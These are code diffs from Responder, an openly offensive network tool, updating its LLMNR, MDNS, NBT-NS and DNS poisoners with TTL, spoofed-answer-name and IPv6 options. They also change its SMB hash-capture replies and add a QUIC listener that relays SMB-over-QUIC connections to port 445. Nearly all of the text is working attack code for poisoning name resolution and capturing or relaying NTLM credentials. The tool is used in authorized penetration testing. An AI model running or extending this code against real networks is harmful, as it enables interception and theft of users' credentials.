("NTLMSSPNtWorkstationName", settings.Config.Domain),
|
("NTLMSSPNtWorkstationName", settings.Config.Domain),
|
||||||
|
|
|
@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
|
||||||
return SrcIP, SrcPort, DstIP, DstPort
|
return SrcIP, SrcPort, DstIP, DstPort
|
||||||
|
|
||||||
def FindIP(data):
|
def FindIP(data):
|
||||||
data = data.decode('latin-1')
|
IPPos = data.find(b"\x32\x04") + 2
|
||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
|
||||||
return ''.join(IP[0:4]).encode('latin-1')
|
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
|
||||||
|
return data[12:16]
|
||||||
|
else:
|
||||||
|
IP = data[IPPos:IPPos+4]
|
||||||
|
return IP
|
||||||
|
|
||||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||||
global DHCPClient
|
global DHCPClient
|
||||||
|
|
|
@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)):
|
||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
#Should we answer to those AAAA?
|
||||||
|
Have_IPv6 = settings.Config.IPv6
|
||||||
|
|
||||||
def Parse_LLMNR_Name(data):
|
def Parse_LLMNR_Name(data):
|
||||||
import codecs
|
import codecs
|
||||||
NameLen = data[12]
|
NameLen = data[12]
|
||||||
|
@ -55,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||||
|
if settings.Config.AnswerName is None:
|
||||||
|
AnswerName = Name
|
||||||
|
else:
|
||||||
|
AnswerName = settings.Config.AnswerName
|
||||||
LLMNRType = Parse_IPV6_Addr(data)
|
LLMNRType = Parse_IPV6_Addr(data)
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
|
@ -73,12 +80,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
})
|
})
|
||||||
|
|
||||||
elif LLMNRType == True: # Poisoning Mode
|
elif LLMNRType == True: # Poisoning Mode
|
||||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
#Default:
|
||||||
|
if settings.Config.TTL == None:
|
||||||
|
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||||
|
else:
|
||||||
|
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||||
Buffer1.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
if settings.Config.AnswerName is None:
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
|
else:
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -86,13 +100,20 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
|
||||||
elif LLMNRType == 'IPv6':
|
elif LLMNRType == 'IPv6' and Have_IPv6:
|
||||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
#Default:
|
||||||
|
if settings.Config.TTL == None:
|
||||||
|
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||||
|
else:
|
||||||
|
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||||
Buffer1.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
if settings.Config.AnswerName is None:
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
|
else:
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR6',
|
'Poisoner': 'LLMNR6',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
|
|
@ -23,6 +23,9 @@ else:
|
||||||
from packets import MDNS_Ans, MDNS6_Ans
|
from packets import MDNS_Ans, MDNS6_Ans
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
#Should we answer to those AAAA?
|
||||||
|
Have_IPv6 = settings.Config.IPv6
|
||||||
|
|
||||||
def Parse_MDNS_Name(data):
|
def Parse_MDNS_Name(data):
|
||||||
try:
|
try:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
|
@ -70,7 +73,11 @@ class MDNS(BaseRequestHandler):
|
||||||
})
|
})
|
||||||
elif MDNSType == True: # Poisoning Mode
|
elif MDNSType == True: # Poisoning Mode
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
#Use default:
|
||||||
|
if settings.Config.TTL == None:
|
||||||
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||||
|
else:
|
||||||
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
|
@ -82,9 +89,13 @@ class MDNS(BaseRequestHandler):
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
|
||||||
elif MDNSType == 'IPv6': # Poisoning Mode
|
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
#Use default:
|
||||||
|
if settings.Config.TTL == None:
|
||||||
|
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||||
|
else:
|
||||||
|
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
|
|
|
@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer1 = NBT_Ans()
|
if settings.Config.TTL == None:
|
||||||
|
Buffer1 = NBT_Ans()
|
||||||
|
else:
|
||||||
|
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
|
||||||
Buffer1.calculate(data)
|
Buffer1.calculate(data)
|
||||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
if not settings.Config.Quiet_Mode:
|
if not settings.Config.Quiet_Mode:
|
||||||
|
|
|
@ -1 +1,2 @@
|
||||||
|
aioquic
|
||||||
netifaces>=0.10.4
|
netifaces>=0.10.4
|
||||||
|
|
|
@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3":
|
||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
#Should we answer to those AAAA?
|
||||||
|
Have_IPv6 = settings.Config.IPv6
|
||||||
|
|
||||||
def ParseDNSType(data):
|
def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
OPT = data[len(data)-22:len(data)-20]
|
OPT = data[len(data)-22:len(data)-20]
|
||||||
|
@ -65,14 +68,14 @@ class DNS(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||||
buff = DNS6_Ans()
|
buff = DNS6_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||||
buff = DNS6_Ans()
|
buff = DNS6_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||||
buff = DNS6_Ans()
|
buff = DNS6_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||||
buff = DNS6_AnsOPT()
|
buff = DNS6_AnsOPT()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
|
168
servers/QUIC.py
Normal file
168
servers/QUIC.py
Normal file
|
@ -0,0 +1,168 @@
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import ssl
|
||||||
|
import argparse
|
||||||
|
import netifaces
|
||||||
|
from utils import *
|
||||||
|
from aioquic.asyncio import serve
|
||||||
|
from aioquic.asyncio.protocol import QuicConnectionProtocol
|
||||||
|
from aioquic.quic.configuration import QuicConfiguration
|
||||||
|
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
|
||||||
|
|
||||||
|
BUFFER_SIZE = 11000
|
||||||
|
|
||||||
|
def get_interface_ip(interface_name):
|
||||||
|
"""Get the IP address of a network interface."""
|
||||||
|
try:
|
||||||
|
# Get address info for the specified interface
|
||||||
|
addresses = netifaces.ifaddresses(interface_name)
|
||||||
|
|
||||||
|
# Get IPv4 address (AF_INET = IPv4)
|
||||||
|
if netifaces.AF_INET in addresses:
|
||||||
|
return addresses[netifaces.AF_INET][0]['addr']
|
||||||
|
|
||||||
|
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
|
||||||
|
if netifaces.AF_INET6 in addresses:
|
||||||
|
return addresses[netifaces.AF_INET6][0]['addr']
|
||||||
|
|
||||||
|
logging.error(f"[!] No IP address found for interface {interface_name}")
|
||||||
|
return None
|
||||||
|
except ValueError:
|
||||||
|
logging.error(f"[!] Interface {interface_name} not found")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
class QUIC(QuicConnectionProtocol):
|
||||||
|
def __init__(self, *args, target_address=None, **kwargs):
|
||||||
|
super().__init__(*args, **kwargs)
|
||||||
|
self.tcp_connections = {} # stream_id -> (reader, writer)
|
||||||
|
self.target_address = target_address or "localhost"
|
||||||
|
|
||||||
|
def quic_event_received(self, event):
|
||||||
|
if isinstance(event, StreamDataReceived):
|
||||||
|
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
|
||||||
|
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
|
||||||
|
# Only try to close connections if we have any
|
||||||
|
if self.tcp_connections:
|
||||||
|
asyncio.create_task(self.close_all_tcp_connections())
|
||||||
|
|
||||||
|
async def handle_stream_data(self, stream_id, data):
|
||||||
|
if stream_id not in self.tcp_connections:
|
||||||
|
# Create a new TCP connection to the target interface:445
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.open_connection(self.target_address, 445)
|
||||||
|
self.tcp_connections[stream_id] = (reader, writer)
|
||||||
|
|
||||||
|
# Start task to read from TCP and write to QUIC
|
||||||
|
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
|
||||||
|
|
||||||
|
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
|
||||||
|
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Forward data from QUIC to TCP
|
||||||
|
try:
|
||||||
|
_, writer = self.tcp_connections[stream_id]
|
||||||
|
writer.write(data)
|
||||||
|
await writer.drain()
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"[!] Error writing to TCP: {e}")
|
||||||
|
await self.close_tcp_connection(stream_id)
|
||||||
|
|
||||||
|
async def tcp_to_quic(self, stream_id, reader):
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data = await reader.read(BUFFER_SIZE)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
|
||||||
|
self._quic.send_stream_data(stream_id, data)
|
||||||
|
self.transmit()
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"[!] Error reading from TCP: {e}")
|
||||||
|
finally:
|
||||||
|
await self.close_tcp_connection(stream_id)
|
||||||
|
|
||||||
|
async def close_tcp_connection(self, stream_id):
|
||||||
|
if stream_id in self.tcp_connections:
|
||||||
|
_, writer = self.tcp_connections[stream_id]
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
del self.tcp_connections[stream_id]
|
||||||
|
|
||||||
|
async def close_all_tcp_connections(self):
|
||||||
|
try:
|
||||||
|
# Make a copy of the keys to avoid modification during iteration
|
||||||
|
stream_ids = list(self.tcp_connections.keys())
|
||||||
|
for stream_id in stream_ids:
|
||||||
|
try:
|
||||||
|
await self.close_tcp_connection(stream_id)
|
||||||
|
except KeyError:
|
||||||
|
# Silently ignore if the stream ID no longer exists
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
# Catch any other exceptions that might occur
|
||||||
|
logging.debug(f"[!] Error closing TCP connections: {e}")
|
||||||
|
|
||||||
|
async def start_quic_server(listen_interface, cert_path, key_path):
|
||||||
|
# Configure QUIC
|
||||||
|
configuration = QuicConfiguration(
|
||||||
|
alpn_protocols=["smb"],
|
||||||
|
is_client=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Load certificate and private key
|
||||||
|
try:
|
||||||
|
configuration.load_cert_chain(cert_path, key_path)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Resolve interfaces to IP addresses
|
||||||
|
listen_ip = listen_interface
|
||||||
|
if not is_ip_address(listen_interface):
|
||||||
|
listen_ip = get_interface_ip(listen_interface)
|
||||||
|
if not listen_ip:
|
||||||
|
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||||
|
return
|
||||||
|
|
||||||
|
target_ip = listen_interface
|
||||||
|
if not is_ip_address(listen_interface):
|
||||||
|
target_ip = get_interface_ip(listen_interface)
|
||||||
|
if not target_ip:
|
||||||
|
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Start QUIC server with correct protocol factory
|
||||||
|
server = await serve(
|
||||||
|
host=listen_ip,
|
||||||
|
port=443,
|
||||||
|
configuration=configuration,
|
||||||
|
create_protocol=lambda *args, **kwargs: QUIC(
|
||||||
|
*args,
|
||||||
|
target_address=target_ip,
|
||||||
|
**kwargs
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
|
||||||
|
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
|
||||||
|
|
||||||
|
# Keep the server running forever
|
||||||
|
await asyncio.Future()
|
||||||
|
|
||||||
|
|
||||||
|
def is_ip_address(address):
|
||||||
|
"""Check if a string is a valid IP address."""
|
||||||
|
import socket
|
||||||
|
try:
|
||||||
|
socket.inet_pton(socket.AF_INET, address)
|
||||||
|
return True
|
||||||
|
except socket.error:
|
||||||
|
try:
|
||||||
|
socket.inet_pton(socket.AF_INET6, address)
|
||||||
|
return True
|
||||||
|
except socket.error:
|
||||||
|
return False
|
|
@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
|
||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#LSARPC
|
#LSARPC
|
||||||
|
@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
|
||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#WINSPOOL
|
#WINSPOOL
|
||||||
|
@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
|
||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#NetLogon
|
#NetLogon
|
||||||
|
@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
|
||||||
#RPC.calculate()
|
#RPC.calculate()
|
||||||
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
#data = self.request.recv(1024)
|
#data = self.request.recv(1024)
|
||||||
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
|
@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||||
## Session Setup 3 answer SMBv2.
|
## Session Setup 3 answer SMBv2.
|
||||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
if settings.Config.ErrorCode:
|
||||||
|
ntstatus="\x6d\x00\x00\xc0"
|
||||||
|
else:
|
||||||
|
ntstatus="\x22\x00\x00\xc0"
|
||||||
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
|
||||||
t = SMB2Session2Data()
|
t = SMB2Session2Data()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
else:
|
else:
|
||||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
if settings.Config.ErrorCode:
|
||||||
|
ntstatus="\x6d\x00\x00\xc0"
|
||||||
|
else:
|
||||||
|
ntstatus="\x22\x00\x00\xc0"
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Packet = str(head) + str(SMBSessEmpty())
|
Packet = str(head) + str(SMBSessEmpty())
|
||||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
|
@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler):
|
||||||
|
|
||||||
except:
|
except:
|
||||||
self.request.close()
|
self.request.close()
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
42
settings.py
42
settings.py
|
@ -23,7 +23,7 @@ import subprocess
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 3.1.4.0'
|
__version__ = 'Responder 3.1.6.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
|
@ -115,10 +115,16 @@ class Settings:
|
||||||
config = ConfigParser.ConfigParser()
|
config = ConfigParser.ConfigParser()
|
||||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||||
|
|
||||||
|
# Poisoners
|
||||||
|
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
|
||||||
|
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||||
|
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
|
||||||
|
|
||||||
# Servers
|
# Servers
|
||||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||||
|
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
|
||||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||||
|
@ -167,6 +173,27 @@ class Settings:
|
||||||
self.DHCP_DNS = options.DHCP_DNS
|
